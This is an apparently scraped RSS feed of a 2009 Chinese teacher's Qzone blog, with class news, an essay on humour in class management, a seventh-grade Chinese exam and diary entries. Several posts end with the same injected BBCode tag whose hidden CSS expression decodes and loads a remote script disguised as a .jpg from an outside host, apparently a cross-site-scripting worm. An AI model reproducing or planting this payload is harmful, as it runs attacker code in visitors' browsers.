<![CDATA[~゛時满哥~]]> http://282565254.qzone.qq.com Sat, 28 Nov 2009 18:17:23 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Thu, 23 Jul 2009 08:59:17 GMT <![CDATA[爱丫]]> http://282565254.qzone.qq.com/blog/1248339557



















]]> http://282565254.qzone.qq.com/blog/1248339557#comment 134218241 Thu, 23 Jul 2009 08:59:17 GMT http://282565254.qzone.qq.com/blog/1248339557 <![CDATA[竞技场上拒绝温柔]]> http://282565254.qzone.qq.com/blog/1243349153 一年一度的篮球赛结束了，毫无悬念，我们班稳拿年级第一！！！篮球赛上，拉近了你我的距离！！谢谢昭淮，佩，浩，庆，来，鑫。。。。
你的脚伤了，现在好了吗？？？





]]> http://282565254.qzone.qq.com/blog/1243349153#comment 134218241 Tue, 26 May 2009 14:45:53 GMT http://282565254.qzone.qq.com/blog/1243349153 <![CDATA[让黄丝带，飘向远方........]]> http://282565254.qzone.qq.com/blog/1243348839 2009年5月12日，是“汶川大地震”的周年祭，为了表达我们的祝福与哀思！081班的所有同学，把那一根根写满祝福的黄丝带系满校园，愿这份祝福飘向远方！081班！真棒！！！





















]]> http://282565254.qzone.qq.com/blog/1243348839#comment 134218241 Tue, 26 May 2009 14:40:39 GMT http://282565254.qzone.qq.com/blog/1243348839 <![CDATA[081班班歌！孩子们，加油！]]> http://282565254.qzone.qq.com/blog/1240586555



]]> http://282565254.qzone.qq.com/blog/1240586555#comment 134234625 Fri, 24 Apr 2009 15:22:35 GMT http://282565254.qzone.qq.com/blog/1240586555 <![CDATA[工作干“革命”的地方]]> http://282565254.qzone.qq.com/blog/1239891374
小学部教学楼

小学部前坪（操场）

杜鹃花开了

初中部教学楼，我“干革命”的地方！

高中部教学楼

[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://282565254.qzone.qq.com/blog/1239891374#comment 134218241 Thu, 16 Apr 2009 14:16:14 GMT http://282565254.qzone.qq.com/blog/1239891374 <![CDATA[我的骄傲，无可救药！]]> http://282565254.qzone.qq.com/blog/1239881264 【崛起玉潭】
“今非昔比”与“今昔同比”
古语云：“吾生也有涯，而知也无涯”，这一千古名句，一语道破了“活到老，学到老”的真谛。它告诉我们，一个人只有不断地学习，终生学习，才能与时俱进，成为顺应时代的有用之才。反之，如果不学习，不接受教育，哪怕你是一个神童，一个天才，也会随着时间的流逝，销蚀成一个庸才，甚至蠢材。
古代就有这样一位“神童”，五岁便能“指物作诗立就”，其父利其然也，不使学。至十二三岁时，其诗“不能称前时之闻”，二十岁左右，其“泯然众人矣”。其名方仲永。而仲永之悲剧，究其原因，其父亲与邑人难辞其咎。
曰其父，明知仲永之通悟，贤于材人远矣，却不使学，使其卒之为众人，乃其父不重视后天教育也。当今社会，不少家长与仲永之父恰恰相反，他们望子成龙，倾其所有，为孩子请家教，做辅导，让孩子学奥数，弹钢琴，练书法，把孩子的时间排得满满的，使其子女无喘气休息之时间。其“望子成龙”“望女成凤”之意固然是好，但其法不可取，过度，物极必反也。当今家长注重培养孩子的教育的心情可以理解，但其做法如果限制了孩子的自由成长，或有损孩子的身心健康，就会揠苗助长，欲速则不达。与仲永之父相比，反之。但其两者做法皆不可取。吾荐天下之父母皆为子女着想，后天之教育培养，或多或少皆不可，适中，为上上之策。
曰其邑人，见仲永之通悟，便稍稍宾客其父，或以钱币乞之。如邑人不趋之若鹜，不捕风捉影，仲永之父不会动心，不会过于贪财，不使学。今有邑人贪财图利，凡事以自我为重，见旁人有难，却袖手旁观，偷笑之；或趁火打劫。更有甚者，借旁人之信任，做客之时摸其家底，暮而窃之。与仲永之邑人相比，同之。两者皆唯利是图。吾荐天下之人，同邑为一家，应和睦互助，之间钱财不可视太重，和谐皆大欢喜。
仲永之悲剧，另吾深思，亦令吾哀伤，叹息。吾师常说：“少壮不努力，老大徒伤悲”“少年易学老难成，一寸光阴不可轻”。吾望天下之学子，趁青春年少，多学多练。请记住有了1%的灵感，再加上99%的汗水，你的人生就是一个完美的一百分！

明日之星档案
刘千，玉潭中学初中部081班学生。一个有毅力，文静可爱的女孩子！在学校举行的每一次考试中，年级第一的荣耀总是非她莫属！
“没有最好，只有更好。”是她的座右铭。正是有了这样的心理，她才能够在一系列的竞赛、活动中屡次获得成功。同时，作为学习委员的她，学习上，给其他同学树立榜样，主动帮助班上那些需要帮助的同学；工作上，能够做到一丝不苟的完成每一件事情。
她说过：“要凭自己的实力，去帮助更多需要帮助的人！”




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初081班刘振时
我是一名参加工作不满一年的年轻教师，承蒙学校领导的关爱和信任，现担任初081班班主任。因为和学生的年龄差距并不大，所以大部分时间，与学生的关系是朋友，是哥们，因为个人开朗的性格，所以平常教育学生也特别的幽默。因为一直以来，我就认为幽默是协调并维系人与人之间关系的重要纽带。它犹如急症的一剂特效药，它犹如汽车的润滑油，她犹如酷暑的冰水，它犹如绕梁三日的余音，让人良久回味。
其实，我认为当班主任，并不需要每天都板着一张“臭脸”。在我们竭心尽力为了班级几十个家庭的孩子们的健康成长而埋头于繁琐辛苦的班级工作中时，在我们肺腑良言却反而得不到学生的理解时，在我们用正义善良的行为却换来学生的对抗与埋怨时，是否想过：其实并不需要大动肝火，更不需要违背原则当老好人，几句幽默诙谐的言语不仅可以瞬间达到教育目的，缓和甚至和谐现场气氛，令学生们在轻松中受到也许是刻骨铭心的教育，而且教师的人格魅力也进一步提升，学生对老师的仰慕和敬畏之情随之油然而生。
二、新班初任之自我介绍
对于刚接手的新班，无论是否起始年级，一个幽默的自我介绍一定能先入为主的使学生们对你“一见钟情”。幽默的自我介绍的基本原则是：自信，阳光，时尚，亲切，符合青少年的口味。去年八月，我接手现在的初一081班，我的自我介绍中有这样一段话：“我来自美丽的宁乡，二十一年前的那个夜晚，风雨交加,电闪雷鸣,突然伴随着一阵啼声,一个可爱而又健康的婴儿呱呱坠地了,顿时天空出现一片祥云，上面写着一个“帅”字，护士见了他即刻面泛霞光，医生第一次明白为什么江山如此多娇。人们都说单眼皮的人聪明，双眼皮的人漂亮，而我是一个单眼皮，一个双眼皮。这个婴儿被抱回家时，家人为其取名曰刘振时,因为他生得可正是时候。不错，本人叫刘振时。我饮宁乡沩江水长大，遥想振时当年，考上大学了，雄姿英发，兴趣广泛，谈笑间，奔波各大社团。不过，英雄不提当年勇，因为毛主席说‘世界是你们的，也是我们的，但是归根结底还是你们的。你们青少年朝气蓬勃，正值兴旺时期，就好像早晨八九点钟的太阳，希望寄托在你们身上。’”
所以，幽默的谈吐能闪耀出班主任的才华和智慧，它能拨动学生的心弦，令其为之倾倒、为之陶醉、为之欢笑，为之思考。
三、重视第一堂课
班主任首先也是一名任课老师，因此学生对他课的喜爱也会直接影响到他的班级管理，而他的第一堂课尤其显得重要，因此，幽默感的运用非常重要。我是语文老师，我的第一堂语文课中有这么一段话：“告诉同学们一个好消息，伴随着奥运会的开幕，伴随着国学热得潮流，现在很多外国人都开始疯狂的练习汉语，学习中国的文化了，我们作为中华学子，是不是应该把中文学好，以后，去国外教书，就教汉语，也赚赚外国人的“米米”，怎么样？（同学们士气高昂，一个劲地点头。）
至今记得我在读初中时的一位地理老师在上第一节地理课时说过的话：“同学们，你们看我的上半身是上半球，下半身是下半球，中间是赤道，我的全身就是以赤道为分界的标准的黄金分割。”
可见，幽默是教师的教育机智与创新能力的展现。恰如其分地运用幽默，会使师生关系倍加融洽，会使教学锦上添花。
四、突发事件的处理灵活化
班主任们都知道，无论谈话教育工作做得如何细致，班上总会出现一些突发意外的事件，使得你措手不及。面对这种情况，我们首先必须机智冷静，然后幽默地处理，一定会有更好的效果，因为幽默的话语，不会伤学生的面子，也不会伤学生的自尊心，学生不会有受到严厉批评的感受，自然也就不会出现抵触的情绪，反而非常服你。
案例一：上个学期，每天上课时总有几个学生迟到，理由是拉肚子，上厕所去了。连续几次之后我产生了怀疑，悄悄一调查，原来是趁机去小卖部买零食，匆忙吃完再回教室。我决定在班上煞住这股风，于是我在班会课上调侃道：“昨天我在报纸上看到一则新闻，说经常便后不洗手的人很容易病从口入，造成习惯性拉肚子的毛病，尤其在白天工作或学习的时候，肚子反应特别明显。不过，我想在我们班肯定是不会有这样的同学的。”说完，全班同学先是愣了一下，然后突然哄堂大笑起来。第二天再没有人好意思上课迟到了。
案例二：一次课间，我去教室转悠的时候，突然听到一男生脱口而出一句脏话来，我马上大声说道：“喂，你几天没漱口了？嘴太臭，去洗手间漱漱口!”那位学生尴尬地走开了，从那以后没有听见他在公众场合说过脏话。
案例三：班上有个女学生嗓门特别大，特爱吵闹，课间老远能听见她的尖叫声，有一次居然在自习课上说开了，我走进教室，来到她身旁，俯身轻轻地对她说：“作为女孩子，你的声音太大了，我想当年张飞在当阳桥的那声可以吓破人胆的大喝也不过如此，一定要注意自己的淑女形象。”她的脸突然红了。从此，即便是下课，她也一改常态了，轻声多了。
给学生面子的同时，其实也就是给自己的教育留有余地。因此，幽默是“似退实进”，因为进，固然需要魄力，而退,更需要智慧用心，取舍之间,彰显班主任的智慧。
五、严肃的说教生动化
诙谐幽默的话，往往能使原本严肃死板的说教变得得生动有趣。即便是严肃的批评也会因幽默而变得亲切得体。学生印象深刻，乐于接受，从而达到意想不到的教育效果。
案例一：有一次在我的课堂上发现一个女生做小动作，她在一直不停的摆弄着她的那只精致的手表，我即兴说道：“我知道今天的课文有点点单调，有点点枯燥，也有点点无聊，我也允许你们在听课时不耐烦地看自己的手表，但我决不能容忍（这几个字我语气格外地重）你们把手表放在桌子上用力的去摇它，看它是不是停下不走了！这时那个学生的手表早已不知收到哪去了，而所有同学的注意力和激情一下子就提高了。
案例二：在班上我时常会看到几个男生甚至极个别女生有爱翘“二郎腿”的坏习惯，于是灵机一动。一天我正儿八经的拿着一张报纸站在讲台上假装念道：“这里有一则新闻，具美国国家生理健康实验室爱德华博士多年研究证明，经常翘“二郎腿”的男性或女性最容易造成不孕不育。同学们啊，这人啊，来到世界上，除了学习，工作，还有个重要任务总该完成吧，那就是生儿育女，延续后代呀。”这时全班同学都哄堂大笑，而爱翘“二郎腿”的那几个人坐得比谁都端正，而且再也没有看到他们翘“二郎腿”了。
我记得弥勒佛身旁的两句很妙的对联是这样写道：大肚能容，容天，容地，于人何所不容；笑口常开，笑古，笑今，万事付诸一笑。”那么我再加个横批吧：做个幽默的班主任。
六、问题的逆向思维法
话语和方式有时反其道而行之，会达到意外的效果。
案例一：班上有个很单纯却极度迷恋游戏机的学生，总藏着个游戏机在包里，下课也偷偷玩，甚至上课也偷偷玩。后来被我没收了，又去买了一个，天天躲在被子里玩，又被没收后，最后没钱买了，就去租游戏机带回家玩。父母怎么骂、怎么打也没有任何效果，他还是要玩。后来我左思右想，决心非得根除他这个毛病，于是，我把他叫到身边来说：“老师刚跟你父母打电话讲清楚了，游戏机放到我这里，只要你在老师身边玩，就不会影响学习”。他真的相信了，而且还对我感激得要命，于是从第二天开始，只要下课或放学见到他，不管他在干什么，我一定微笑着盛情地叫他到身边来，把游戏机给他玩五分钟，标准的五分钟，到时间就停止。天天如此，不管上午还是下午，他开始很是兴奋，很是得意，（其实我也很得意，等着他中我的计）。过了一个星期，我的热情一如既往，丝毫不减，而他却开始有变化了，因为每当他课余在开心地玩耍或跟别人讲话讲得起劲甚至他在休息的时候，我总会“奇迹”般的出现在他身边，然后盛情的拉他来办公室玩游戏机，慢慢地，我发现在他玩游戏机时似乎没有了以往的那分欣喜，那份入迷，那份激情，反而眼角的微微皱眉，额头的几丝不耐烦逐渐明显，终于有一天，他怀着一股怨气当着我的面把游戏机砸了，说道：“老师，我怎么觉得这玩游戏机是种负担呀，烦躁，一点都不想再玩了！”单纯的他怎知这时的我已经得意得“一塌糊涂”了。
案例二：我发现班上有几个学生有偷偷抽烟的恶习。学生严禁吸烟本来是个严肃的话题，为了教育班上的学生千万不能去沾染抽烟的坏习惯，我思索了许久，一天在活动课上说道：“今天让我来给大家讲讲吸烟的好处吧。”学生们一听，顿时异常安静，每个人的注意力全都集中到我的身上来了，见此情景在我意料之中，我暗自高兴，继续说道：“第一, 吸烟可以防小偷。吸烟会引起深夜的剧烈咳嗽，小偷还怎么敢上门呢？第二，吸烟可以节省衣料。咳久了就成了驼背，衣服自然可以做短些。第三，吸烟可以演包青天，从小吸烟，长大了脸色黄中带黑，演包青天连妆都用不着化。第四，吸烟可以永远不老，因为具最新权威研究统计的结果，吸烟的历史越长，越短命，当然活不到老了。”
试想，假如当时一本正经的正面处理这些问题，既难有好的效果，也毫无趣味和幽默可言。事实上，幽默来源于两个世界，一个是你真诚的内心世界，即喜欢自己的学生；另一个是生活中的客观世界，你要善于多观察和思考。当你用智慧把这两个世界统一起来，并运用足够的技巧和创造力去展现你的幽默时，你就会发现，在自己置身的这个世界中处理起问题来，竟是如此的顺畅。
因此，我要说：班主任朋友们，燃烧你们的激情吧，把幽默天天挂在嘴角，带在身边，她将是你班级工作的一神兵利器，给你挣够面子，挣够威信，挣够轻松，挣够魅力，从而“俘虏”你班上每一个孩子的“芳心”。[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://282565254.qzone.qq.com/blog/1239442523#comment 134218240 Sat, 11 Apr 2009 09:35:23 GMT http://282565254.qzone.qq.com/blog/1239442523 <![CDATA[有难度，考考你们！]]> http://282565254.qzone.qq.com/blog/1239442208 湖南宁乡玉潭中学七年级（下）语文段考试卷
时量：120分钟　　满分100分 命题人：刘振时
说明：试卷分基础积累运用，阅读，作文三部分。基础阅读部分占60分，作文占40分。基础，阅读部分答案一律写在答卷上，作文写在作文纸上。班级、姓名、学号一律写在密封线内。
一、基础积累运用（27分）
1、加点字注音完全正确的一组是
A、桑葚（shèn） 衣襟（jīn） 讪笑（xiàn）环谒（yè）
B、脑髓（suí） 骊歌（lí） 金柝（tuò）攒成球（cuán）
C、掸子（dǎn） 沼泽（zhǎo） 哽咽（gěng）祈祷（qí）
D、炽痛（zhì） 亘古（gèn） 日曛（xūn）校补（xiào）
2、选出有错别字的一项　　
A、人迹罕至　　气势凶凶　　　鲜为人知　　一泻千里　　
B、可歌可泣　　崎岖不平　　　荒草萋萋　　妇孺皆知　　
C、义愤填膺　　鞠躬尽瘁　　　仰之弥高　　迥乎不同　　
D、博学多识　　奇趣横生　潜心贯注 　杂乱无章
3、下列词语解释有误的一项是
A、宿儒（长久从事某种工作）　　骊歌（告别的歌）
B、伫立（长时间地站着）狂澜（巨大的波浪）
C、祈祷（祭祀神灵） 炽痛（热烈而深切）　　
D、警报迭起（屡次） 家喻户晓（明白）
4、在下面句子空缺处填入最恰当的一组词语
①过去他_____________过那么多的不幸和苦难，可是现在他感到非常高兴。
②冬天的百草园比较的____________；雪一下，可就两样了。
③一个音乐家最大的____________是丧失了听觉。
A、经受、枯燥、悲哀
B、遭受、单调、悲剧
C、遭受、无味、悲剧
D、经受、单调、悲哀
5、下列句子排序正确的一项是
①由于没有了狼的控制，鹿大量繁殖，越来越多，首先遭殃的便是草，它们很快被吃光了，草没有，鹿也难逃厄运。 ②在草原上，鹿吃草而被狼吃。 ③然而事实不会这样。 ④由此，我们可以看出食物链的任何一环都不能被破坏。 ⑤所以，狼吃鹿虽然表面上对鹿不利，但实际上对鹿的种族延续是起决定作用的。 ⑥如果把狼这一环去掉，照理说对草不会有什么影响，而鹿应该生活得更好。
正确的排序是：
A、②⑥③①⑤④ B、⑥②③①④⑤ C、①④⑥③②⑤ D、②⑥③①④⑤
6、下列有关课文的说法不正确的一项是
A、闻一多先生是一位诗人，学者，也是一位民主战士，臧克家的《闻一多先生的说和做》记叙了闻一多先生的主要事迹，表现了他的崇高品格。
B、《木兰诗》刻画了一位聪明勇敢，杀敌卫国的女英雄形象，采用的是北方民歌形式。
C、《孙权劝学》选自《资治通鉴》它是由司马迁主持编纂的一部编年体通史。
D、《假如生活欺骗了你》这首诗是俄罗斯民族诗人普希金，在自己被沙皇流放的日子里写成的。从诗中可以看出普希金热爱生活，执著地追求理想，相信光明必来，正义必胜。
7、从上下文连贯的角度看，衔接最紧密的一句是　　
学习需要一点一滴，善于积累，_______________，平凡的努力虽不惊人，却能攀登万仞高峰。　　
A、细小的石子虽然不显眼，却能铺出千里路。　　
B、能铺出千里路的是细小的不显眼的石子。　　
C、不显眼的细小石子，却能铺出千里路。　　
D、千里路的铺成，是有了细小的不显眼的石子。
8、语句中运用的修辞手法与其他三项不同一项是　　
A、画眉在树林宛转地唱歌。
B、啊！黄河！你用那英雄的体魄筑起我们民族的屏障。
C、故乡低低地呼唤着我的名字。　　
D、人类在历史上的生活正如旅行一样。
9、根据提示内容填空（6分，每空一分，错字不给分）
①__________________，日扳仲环谒于邑人，不使学。
②__________________，关山度若飞。
③策勋十二转，_________________________。
④谁家玉笛暗飞声_______________________。
⑤独坐幽篁里，_________________________。
⑥_____________________，凭君传语报平安。
10、指出下列句中的通假字并写出本字。（3分）
①当窗理云鬓，对镜帖花黄。___________通___________。
②日扳仲永环谒于邑人。 　___________通___________。
③孤岂欲卿治经为博士邪！　___________通___________。
11、解释下列句子中加点的意思（2分）
①稍稍宾客其父。__________________________
②愿为市鞍马，从此替父征。__________________
二、综合题：阅读下面三段文字，回答文后问题（共33分）
（一）
（1）“人家说了再做，我是做了再说。” 　　
（2）“人家说了也不一定做，我是做了也不一定说。” 　　
（3）作为学者和诗人的闻一多先生，在30年代国立青岛大学的两年时间，我对他是有着深刻印象的。那时候，他已经诗兴不作而研究志趣正浓。他正向古代典籍钻探，有如向地壳寻求宝藏。仰之①mí（　　）高，越高，攀得越起劲；钻之弥坚，越坚，钻得越②qiè（　　）而不舍。他想吃尽、消化尽我们中华民族几千年来的文化史，炯炯目光，一直远射到有史以前。他要给我们衰微的民族开一剂救济的文化药方。1930年至1932年，“望闻问切”也还只是在“望”的初级阶段。他从唐诗下手，目不③kuī（　　）园，足不下楼，兀兀穷年，④lì（　　）尽心血。杜甫晚年，疏懒得“一月不梳头”。闻先生也总是头发零乱，他是无暇及此的。饭，几乎忘记了吃，他贪的是精神食粮；夜间睡得很少，为了研究，他惜寸阴、分阴。深宵灯火是他的伴侣，因它大开光明之路，“漂白了的四壁”。（4）不动不响，无声无闻。一个又一个大的四方竹纸本子，写满了密密麻麻的小楷，如群蚁排衙。几年辛苦，凝结而成《唐诗杂论》的硕果。
（5）它并没有先“说”，但他“做”了。作出了卓越的成绩。　　
（6）“做”了，他自己也没有“说”。他又由唐诗转到楚辞。十年艰辛，一部“校补”赫然而出。别人在赞美，在惊叹，而闻一多先生个人呢，也没有“说”。他又向“古典新义”迈进了。他潜心贯注，心会神凝，成了“何妨一下楼”的主人。　　
（7）做了再说，做了不说，这仅是闻一多先生的一个方面，——作为学者的方面。
12、根据拼音在文中的括号里填上正确的汉字：（2分）　　
①（　　　）　　②（　　　）　　③（　　　）　　④（　　　）
13、“闻先生也总是头发零乱，他是无暇及此的”一句中“此”指代___________。“深宵灯火是他的伴侣，因它大开光明之路，‘漂白了的四壁’”一句中“它”指代___________。（2分）
14、作为学者的闻一多，他研究古代典籍的目的是___________________________（用文中的原句作答）。（2分）　　
“1930年到1932年，‘望闻问切’也还只是在‘望’的初级阶段”一句的含义是_________________________________________________________。（2分）
15、选文可分为三个部分，请在下面的段序中进行划分，并用自己的话概括第二部分的主要内容。（3分）　　（1）（2）（3）（4）（5）（6）（7）
第二部分的主要内容是_______________________________________________ ______________________________________________（不超过35个字）
16、选文在叙述中穿插了形象的描写，如：“炯炯目光”“头发零乱”“一个又一个大的四方竹纸本子，写满了密密麻麻的小楷，如群蚁排衙。”等等，请你分析这些描写的作用。
答：_______________________________________________________________ ____________________________________________________________。
（二）（9分）　　
初，权谓吕蒙曰：“卿今当涂掌事，不可不学！”蒙辞以军中多务。权曰：“孤岂欲卿治经为博士邪！但当涉猎，见往事耳。卿言多务，孰若孤？孤常读书，自以为大有所益。”蒙乃始就学。乃鲁肃过寻阳，与蒙论议，大惊曰：“卿今者才略，非复吴下阿蒙！”蒙曰：“士别三日，即更刮目相待，大兄何见事之晚乎！蒙遂拜蒙母，结友而别。
17、写出加点词的古今不同意义（2分）
①博士　　古（　　　　　　　　　　　）今（　　　　　　　　　　）
②孤　　　古（　　　　　　　　　　　）今（　　　　　　　　　　）
18、选出对以下语气的判断不正确的一项（2分）　　
A、孤岂欲卿治经为博士邪！（表反问语气，相当于“吗”）　　
B、但当涉猎，见往事耳。（表反问语气，相当于“罢了”）　　
C、大兄何见事之晚乎！（表感叹语气，相当于“啊”）
19、翻译下面句子。（2分）　　
士别三日，即更刮目相待：_____________________________________
20、请结合本文与《伤仲永》，谈谈你对成才条件的看法。（3分） _________________________________________________________________ _________________________________________________________________ （三）秋叶 　　
一场风雨过后，街旁的树下就落下了一层叶子。
这是故乡的初秋，叶子也该是些早熟的叶子，从湛蓝旷远的天空悠然而落，百转千回之后遗落于地，并没有什么生命遗失的痉挛和痛苦的挣扎，一如它们生时的超脱、潇洒和平静。这是秋叶生命的涅槃。由生到死，由死回生，它们附着于树，是为了丰富母体，并不是做寄生虫，一味索取，不知奉献。而它们成熟后离开母体也只是一种使命的完成。用不着唱赞歌，只需那一场秋雨，秋叶便可于风雨中飘飘落下。这是自然之秋徐徐拉开的序幕，把广阔天地做背景，把生命飞旋成这大舞台上最真实的道具。树叶可为演员，而人却非戏子，再好的戏剧于他们也只是戏剧。然而他们还是被这壮观的落叶场面吸引了，他们观磨着这大自然最好的舞剧，感到心神俱清俱纯。一个远来的游子被这舞剧所表演的热爱生命的主题深深感动。他拾起一片落叶，久久看着，看着，直到自己的身心也被那红得透明的秋叶点燃，发出噼噼啪啪的燃烧声。游子从寂寞无声的街道上走了，那身影在白杨萧萧的原野上越来越小。
最后，终于也走成了一枚秋叶，相在了故乡初秋的风景里。
21、请找出文中的两个错别字并加以改正：（2分）
①_______________________ ②________________________
22、此文中写产生“生命遗失的痉挛和痛苦的挣扎”是由于（2分）
A、热爱生命，珍视生命 B、未完成功业的遗憾
C、贪图名利权位，畏惧死亡 D、病痛的折磨
23、“涅槃”的原意是指超脱生死的最高境界，后人称高僧逝世。在这篇文章中，“涅槃”的意思是_______________________________________。（2分）
24、为什么说树叶“由死回生”也是“丰富母体”？（2分）　　________________________________________________________________
25、文章最后一句主要运用了___________的修辞方法。（2分）
三、作文（40分）题目：《_________，好样的》
要求：（1）先把题目填完整，然后作文。　　　　
（2）不少于600字。　　　
（3）除诗歌外体裁不限，不出现真实班级姓名。

湖南宁乡玉潭中学七年级（下）语文段考答卷
时量：120分钟　　　满分100分　　得分_________
考生注意：基础、阅读部分答案一律写在答题卡内，作文写在作文纸上。
一、（1－8小题每小题2分）
1（ ） 2（ ） 3 （ ）4 （ ）
5（ ） 6 （ ）7 （ ）8 （ ）
9、（每小题2分，共6分，错一个字不给分）
①__________________，日扳仲环谒于邑人，不使学。
②__________________，关山度若飞。
③策勋十二转，_________________________。
④谁家玉笛暗飞声，_______________________。
⑤独坐幽篁里，_________________________。
⑥_____________________，凭君传语报平安。
10、（3分）①___________通___________。
②___________通___________。
③___________通___________。
11、（2分）①稍稍宾客其父。___________________________________
②愿为市鞍马，从此替爷征。_______________________________
二、综合题（33分）（一）
12、①（　　　）　　②（　　　）　　③（　　　）　　④（　　　）（2分） 13、“此”指代_________________________。（1分）“它”指代__________。（1分）
14、目的是___________________________（用文中的原句作答）。（2分）　含义是_________________________________________________________。（2分） 15、（1）（2）（3）（4）（5）（6）（7）（1分）
第二部分的主要内容是_______________________________________________ ____________________________________________（不超过35个字）（2分）
16、分析描写的作用。答：_____________________________________________ ________________________________________________________。（3分）
（二） 17、写出加点词的古今不同意义（2分）
①博士　　古（　　　　　　　　　　　）今（　　　　　　　　　　）
②孤　　　古（　　　　　　　　　　　）今（　　　　　　　　　　）
18、（　　　　）（2分）
19、翻译下面句子（2分）
士别三日，即更刮目相待：____________________________________________ 20、请结合本文与《伤仲永》谈谈你对成才条件的看法。（3分） ___________________________________________________________________ ___________________________________________________________________ （三） 21、①_______________________ ②________________________（2分） 22、（　　　）（2分）
23、“涅槃”的意思是_______________________________________。（2分）
24、为什么说树叶“由死回生”也是“丰富母体”？（2分）　　________________________________________________________________
25、文章最后一句主要运用了___________的修辞方法。（2分）[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://282565254.qzone.qq.com/blog/1239442208#comment 134218240 Sat, 11 Apr 2009 09:30:08 GMT http://282565254.qzone.qq.com/blog/1239442208 <![CDATA[美丽的师大附中校园]]> http://282565254.qzone.qq.com/blog/1239277125











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这个清明，有太多的感悟，又有太多的悲哀！“清明时节雨纷纷，路上行人欲断魂。”大概就是我此时的心情吧！
这个清明，承载了太多无法释怀的青春！让我迷失了自己！
心灵的创伤远比身体上的痛来得剧烈！
人依旧是那熟悉的人，但现在却如此的陌生！
苦苦的追求与等待，为的是什么呢？现在都没明白！
痛苦，是什么滋味！现在真正尝到了吗？
不期望会有过多的改变，只愿再回到从前！
再回首，以前的岁月如梦幻一般，而现在的一切又那么的真实！而我，厌恶这种真实感，这是一看就透的感觉！！
又是清明雨上，心情也如这淅沥的小雨一般，勾断了我最后的防线！想发出歇斯底里的呼唤，但期待听见的人又能听得到吗？
又是清明雨上，看不透这世间的繁华或喧嚣！只为寻找内心一个更完美的归宿，它到底在哪？
又是清明雨上，又是一年的断魂之时，而今，时间已过，逝去的青春还会隐隐浮现吗？
怅然。。。。。。。。[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://282565254.qzone.qq.com/blog/1238945828#comment 134234624 Sun, 05 Apr 2009 15:37:08 GMT http://282565254.qzone.qq.com/blog/1238945828